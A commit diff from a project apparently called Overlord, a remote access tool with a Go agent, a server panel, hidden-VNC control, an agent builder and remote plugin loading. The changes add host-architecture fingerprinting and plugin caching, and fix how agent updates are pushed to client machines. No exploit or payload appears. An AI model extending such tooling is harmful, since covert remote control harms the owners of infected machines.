fix hvnc issue, fix build watcher issue, fix wrong type of exe being sent on updates.

.dockerignore

@@ -36,8 +36,11 @@ Thumbs.db
 .gitignore
 .gitattributes
 
-# Build outputs (dist-clients is provided by the builder stage in the runtime image)
+# Build outputs (agent binaries are large; exclude them but keep pre-built DLLs)
-**/dist-clients/
+**/dist-clients/*.exe
+**/dist-clients/*.pdb
+**/dist-clients/*.lib
+**/dist-clients/*.exp
 Overlord-Client/build/
 release/
 

Overlord-Client/cmd/agent/session.go

@@ -669,6 +669,7 @@ func runSession(ctx context.Context, cancel context.CancelFunc, conn *websocket.
 	hello.IsAdmin = sysinfo.IsAdmin()
 	hello.Elevation = sysinfo.Elevation()
 	hello.Permissions = sysinfo.DarwinPermissions()
+	hello.HostArch = sysinfo.HostArch()
 
 	if err := wire.WriteMsg(ctx, env.Conn, hello); err != nil {
 		return fmt.Errorf("send hello: %w", err)

Overlord-Client/cmd/agent/sysinfo/sysinfo_darwin.go

@@ -4,6 +4,7 @@ package sysinfo
 
 import (
 	"fmt"
+	"runtime"
 	"strings"
 	"unsafe"
 
@@ -43,3 +44,15 @@ func totalRAM() string {
 	mb := float64(total) / (1024 * 1024)
 	return fmt.Sprintf("%.0f MB", mb)
 }
+
+func HostArch() string {
+	if machine, err := unix.Sysctl("hw.machine"); err == nil {
+		switch machine {
+		case "x86_64":
+			return "amd64"
+		case "arm64":
+			return "arm64"
+		}
+	}
+	return runtime.GOARCH
+}

Overlord-Client/cmd/agent/sysinfo/sysinfo_linux.go

@@ -5,7 +5,9 @@ package sysinfo
 import (
 	"fmt"
 	"os"
+	"runtime"
 	"strings"
+	"syscall"
 )
 
 func collectPlatform() Info {
@@ -97,3 +99,28 @@ func totalRAM() string {
 	}
 	return "unknown"
 }
+
+func HostArch() string {
+	var utsname syscall.Utsname
+	if err := syscall.Uname(&utsname); err == nil {
+		buf := make([]byte, 0, len(utsname.Machine))
+		for _, c := range utsname.Machine {
+			if c == 0 {
+				break
+			}
+			buf = append(buf, byte(c))
+		}
+		machine := string(buf)
+		switch machine {
+		case "x86_64":
+			return "amd64"
+		case "aarch64":
+			return "arm64"
+		case "armv7l":
+			return "armv7"
+		case "i686", "i386":
+			return "386"
+		}
+	}
+	return runtime.GOARCH
+}

Overlord-Client/cmd/agent/sysinfo/sysinfo_windows.go

@@ -4,6 +4,8 @@ package sysinfo
 
 import (
 	"fmt"
+	"os"
+	"runtime"
 	"strings"
 	"unsafe"
 
@@ -112,3 +114,25 @@ func totalRAM() string {
 	mb := float64(ms.TotalPhys) / (1024 * 1024)
 	return fmt.Sprintf("%.0f MB", mb)
 }
+
+func HostArch() string {
+	if arch := os.Getenv("PROCESSOR_ARCHITEW6432"); arch != "" {
+		switch strings.ToLower(arch) {
+		case "amd64":
+			return "amd64"
+		case "arm64":
+			return "arm64"
+		}
+	}
+	if arch := os.Getenv("PROCESSOR_ARCHITECTURE"); arch != "" {
+		switch strings.ToLower(arch) {
+		case "amd64":
+			return "amd64"
+		case "arm64":
+			return "arm64"
+		case "x86":
+			return "386"
+		}
+	}
+	return runtime.GOARCH
+}

Overlord-Client/cmd/agent/wire/protocol.go

@@ -7,6 +7,7 @@ type Hello struct {
 	Host        string          `msgpack:"host"`
 	OS          string          `msgpack:"os"`
 	Arch        string          `msgpack:"arch"`
+	HostArch    string          `msgpack:"hostArch,omitempty"`
 	Version     string          `msgpack:"version"`
 	User        string          `msgpack:"user"`
 	Monitors    int             `msgpack:"monitors"`

Overlord-Server/public/assets/main.js

@@ -86,6 +86,27 @@ const clearContext = () => {
   contextCard = null;
 };
 
+let _pluginCache = null;
+let _pluginCacheAge = 0;
+const PLUGIN_CACHE_TTL = 30_000;
+
+async function refreshPluginCache() {
+  try {
+    const res = await fetch("/api/plugins");
+    if (!res.ok) return;
+    const data = await res.json();
+    _pluginCache = Array.isArray(data.plugins) ? data.plugins : [];
+    _pluginCacheAge = Date.now();
+  } catch {}
+}
+
+function getCachedPlugins() {
+  if (_pluginCache && Date.now() - _pluginCacheAge < PLUGIN_CACHE_TTL) {
+    return _pluginCache;
+  }
+  return null;
+}
+
 function detectClientPlatform(clientId) {
   if (!clientId) {
     return "unknown";
@@ -323,6 +344,7 @@ async function loadCurrentUser() {
       }
 
       initializeRenderer();
+      refreshPluginCache();
     } else {
       window.location.href = "/";
     }
@@ -414,25 +436,20 @@ function showPluginConfirmModal(pluginId, clientId, sigInfo) {
   input.focus();
 }
 
-async function loadPluginsForClient(clientId) {
+function renderPluginMenu(plugins) {
   const section = document.getElementById("plugin-section");
   const container = document.getElementById("plugin-menu");
   if (!section || !container) return;
   container.innerHTML = "";
-  section.classList.add("hidden");
 
-  try {
+  const enabled = plugins.filter(p => p.enabled !== false);
-    const res = await fetch(`/api/clients/${clientId}/plugins`);
+  if (!enabled.length) {
-    if (!res.ok) return;
+    section.classList.add("hidden");
-    const data = await res.json();
+    return;
-    const plugins = Array.isArray(data.plugins) ? data.plugins : [];
+  }
-    if (!plugins.length) return;
 
   section.classList.remove("hidden");
-    for (const plugin of plugins) {
+  for (const plugin of enabled) {
-      if (plugin.enabled === false) {
-        continue;
-      }
     const btn = document.createElement("button");
     btn.className = "ctx-item ctx-plugin-item";
     btn.dataset.plugin = plugin.id;
@@ -496,8 +513,28 @@ async function loadPluginsForClient(clientId) {
       container.appendChild(unloadBtn);
     }
   }
+}
+
+async function loadPluginsForClient(clientId) {
+  const section = document.getElementById("plugin-section");
+  const container = document.getElementById("plugin-menu");
+  if (!section || !container) return;
+  container.innerHTML = "";
+  section.classList.add("hidden");
+
+  const cached = getCachedPlugins();
+  if (cached && cached.length) {
+    renderPluginMenu(cached);
+  }
+
+  try {
+    const res = await fetch(`/api/clients/${clientId}/plugins`);
+    if (!res.ok) return;
+    const data = await res.json();
+    const plugins = Array.isArray(data.plugins) ? data.plugins : [];
+    renderPluginMenu(plugins);
   } catch {
-    // ignore
+    // ignore — cache render is already showing
   }
 }
 

Overlord-Server/src/protocol.ts

@@ -23,6 +23,7 @@ export type Hello = {
   host: string;
   os: string;
   arch: string;
+  hostArch?: string;
   version: string;
   user: string;
   monitors: number;

Overlord-Server/src/server/build-process.ts

@@ -190,20 +190,23 @@ export async function startBuildProcess(
       logger.error(`[build:${buildId.substring(0, 8)}] ERROR: ${data.error}`);
     }
 
-    build.controllers.forEach((controller) => {
+    const alive: ReadableStreamDefaultController[] = [];
+    for (const controller of build.controllers) {
       try {
         controller.enqueue(encoded);
-      } catch (err) {
+        alive.push(controller);
-        logger.error("[build] Failed to send to stream:", err);
+      } catch {
       }
-    });
+    }
+    build.controllers.length = 0;
+    build.controllers.push(...alive);
 
     if (data.type === "complete") {
-      build.controllers.forEach((controller) => {
+      for (const controller of build.controllers) {
         try {
           controller.close();
         } catch {}
-      });
+      }
       build.controllers.length = 0;
     }
   };

Overlord-Server/src/server/routes/build-routes.ts

@@ -800,7 +800,7 @@ export async function handleBuildRoutes(
           continue;
         }
         const clientOs = client.os?.toLowerCase() || "";
-        const clientArch = client.arch?.toLowerCase() || "";
+        const clientArch = (client.hostArch || client.arch || "").toLowerCase();
         const clientPlatform = `${clientOs}-${clientArch}`;
         if (!targetPlatforms.has(clientPlatform)) {
           skippedNoMatch++;
@@ -885,7 +885,7 @@ export async function handleBuildRoutes(
         }
 
         const clientOs = client.os?.toLowerCase() || "";
-        const clientArch = client.arch?.toLowerCase() || "";
+        const clientArch = (client.hostArch || client.arch || "").toLowerCase();
         const clientPlatform = `${clientOs}-${clientArch}`;
         const buildFile = buildPlatforms.get(clientPlatform);
         if (!buildFile) {

Overlord-Server/src/types.ts

@@ -16,6 +16,7 @@ export type ClientInfo = {
   host?: string;
   os?: string;
   arch?: string;
+  hostArch?: string;
   version?: string;
   user?: string;
   nickname?: string;

Overlord-Server/src/wsHandlers.ts

@@ -128,6 +128,7 @@ export async function handleHello(
   info.host = sanitizeInfoString(payload.host);
   info.os = sanitizeInfoString(payload.os);
   info.arch = sanitizeInfoString(payload.arch, 32);
+  info.hostArch = sanitizeInfoString((payload as any).hostArch, 32) || info.arch;
   info.version = sanitizeInfoString(payload.version, 64);
   info.user = sanitizeInfoString(payload.user);
   info.monitors = sanitizeMonitorCount(payload.monitors) ?? info.monitors;